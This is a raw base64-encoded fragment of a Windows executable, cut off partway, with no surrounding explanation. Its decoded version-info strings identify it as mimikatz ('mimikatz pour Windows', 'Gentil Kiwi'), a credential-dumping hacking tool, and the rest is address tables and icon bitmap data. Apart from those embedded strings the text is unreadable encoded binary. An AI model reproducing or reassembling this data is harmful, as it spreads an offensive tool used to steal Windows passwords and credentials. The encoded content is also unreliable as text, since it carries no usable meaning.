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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwADAAAAKAAAgA4AAACYAACAEAAAAMgAAIAAAAAAAAAAAAAAAAAAAAwAAQAAAOAAAIACAAAA+AAAgAMAAAAQAQCABAAAACgBAIAFAAAAQAEAgAYAAABYAQCABwAAAHABAIAIAAAAiAEAgAkAAACgAQCACgAAALgBAIALAAAA0AEAgAwAAADoAQCAAAAAAAAAAAAAAAAAAAAEAGQAAAAAAgCAyQAAABgCAIDKAAAAMAIAgMsAAABIAgCAAAAAAAAAAAAAAAAAAAABAAEAAABgAgCAAAAAAAAAAAAAAAAAAAABAAwEAAB4AgAAAAAAAAAAAAAAAAAAAAABAAwEAACIAgAAAAAAAAAAAAAAAAAAAAABAAwEAACYAgAAAAAAAAAAAAAAAAAAAAABAAwEAACoAgAAAAAAAAAAAAAAAAAAAAABAAwEAAC4AgAAAAAAAAAAAAAAAAAAAAABAAwEAADIAgAAAAAAAAAAAAAAAAAAAAABAAwEAADYAgAAAAAAAAAAAAAAAAAAAAABAAwEAADoAgAAAAAAAAAAAAAAAAAAAAABAAwEAAD4AgAAAAAAAAAAAAAAAAAAAAABAAwEAAAIAwAAAAAAAAAAAAAAAAAAAAABAAwEAAAYAwAAAAAAAAAAAAAAAAAAAAABAAwEAAAoAwAAAAAAAAAAAAAAAAAAAAABAAwEAAA4AwAAAAAAAAAAAAAAAAAAAAABAAwEAABIAwAAAAAAAAAAAAAAAAAAAAABAAwEAABYAwAAAAAAAAAAAAAAAAAAAAABAAwEAABoAwAAAAAAAAAAAAAAAAAAAAABAAwEAAB4AwAAKDYHAKglAAAAAAAAAAAAANBbBwCoEAAAAAAAAAAAAAB4bAcAaAQAAAAAAAAAAAAAEHEHAKglAAAAAAAAAAAAALiWBwCoEAAAAAAAAAAAAABgpwcAaAQAAAAAAAAAAAAA+KsHAKglAAAAAAAAAAAAAKDRBwCoEAAAAAAAAAAAAABI4gcAaAQAAAAAAAAAAAAA4OYHAKglAAAAAAAAAAAAAIgMCACoEAAAAAAAAAAAAAAwHQgAaAQAAAAAAAAAAAAA4HAHADAAAAAAAAAAAAAAAMirBwAwAAAAAAAAAAAAAACw5gcAMAAAAAAAAAAAAAAAmCEIADAAAAAAAAAAAAAAAJAzBwCYAgAAAAAAAAAAAAAAAAAAAAAAAJgCNAAAAFYAUwBfAFYARQBSAFMASQBPAE4AXwBJAE4ARgBPAAAAAAC9BO/+AAABAAAAAQAAAAAAAAABAAAAAAA/AAAAAAAAAAQABAABAAAAAAAAAAAAAAAAAAAA+AEAAAEAUwB0AHIAaQBuAGcARgBpAGwAZQBJAG4AZgBvAAAA1AEAAAEAMAA0ADAAYwAwADQAYgAwAAAAOAAMAAEAQwBvAG0AcABhAG4AeQBOAGEAbQBlAAAAAABHAGUAbgB0AGkAbAAgAEsAaQB3AGkAAABUABYAAQBGAGkAbABlAEQAZQBzAGMAcgBpAHAAdABpAG8AbgAAAAAAbQBpAG0AaQBrAGEAdAB6ACAAcABvAHUAcgAgAFcAaQBuAGQAbwB3AHMAAAAwAAgAAQBGAGkAbABlAFYAZQByAHMAaQBvAG4AAAAAADEALgAwAC4AMAAuADAAAAAyAAkAAQBJAG4AdABlAHIAbgBhAGwATgBhAG0AZQAAAG0AaQBtAGkAawBhAHQAegAAAAAAYgAfAAEATABlAGcAYQBsAEMAbwBwAHkAcgBpAGcAaAB0AAAAQwBvAHAAeQByAGkAZwBoAHQAIAAoAEMAKQAgADIAMAAxADIAIABHAGUAbgB0AGkAbAAgAEsAaQB3AGkAAAAAADIACQABAFAAcgBvAGQAdQBjAHQATgBhAG0AZQAAAAAAbQBpAG0AaQBrAGEAdAB6AAAAAAA0AAgAAQBQAHIAbwBkAHUAYwB0AFYAZQByAHMAaQBvAG4AAAAxAC4AMAAuADAALgAwAAAARAAAAAEAVgBhAHIARgBpAGwAZQBJAG4AZgBvAAAAAAAkAAQAAABUAHIAYQBuAHMAbABhAHQAaQBvAG4AAAAAAAwEsAQoAAAAMAAAAGAAAAABACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFT9iAAoFAQALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsAFkJnAAoGAwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACQMAAAsKCQALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAgsLCwQLCwsJCwsLDgsLCxMLCwsXCwsLGgsLCxcLCwsTCwsLDQsLCwULCwsCCwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwoJAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLBwsLCxYLCwsnCwsLOAsJCT8LCQdFCwkHTQsJB1kLCQdkCwkJcAsLCXsLCwuFCwsMigsLDIkLCwt/CwsLcwsLC2ULCwtWCwsLSQsLC0ALCws6CwsLLgsLCxwLCwsKCwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLDQsLCx4LCws2CwsLTgsLC2YLCQVzDQkGhw0NDZ8NDRGuDhMXvg0OEbwJDA6+CwsLxg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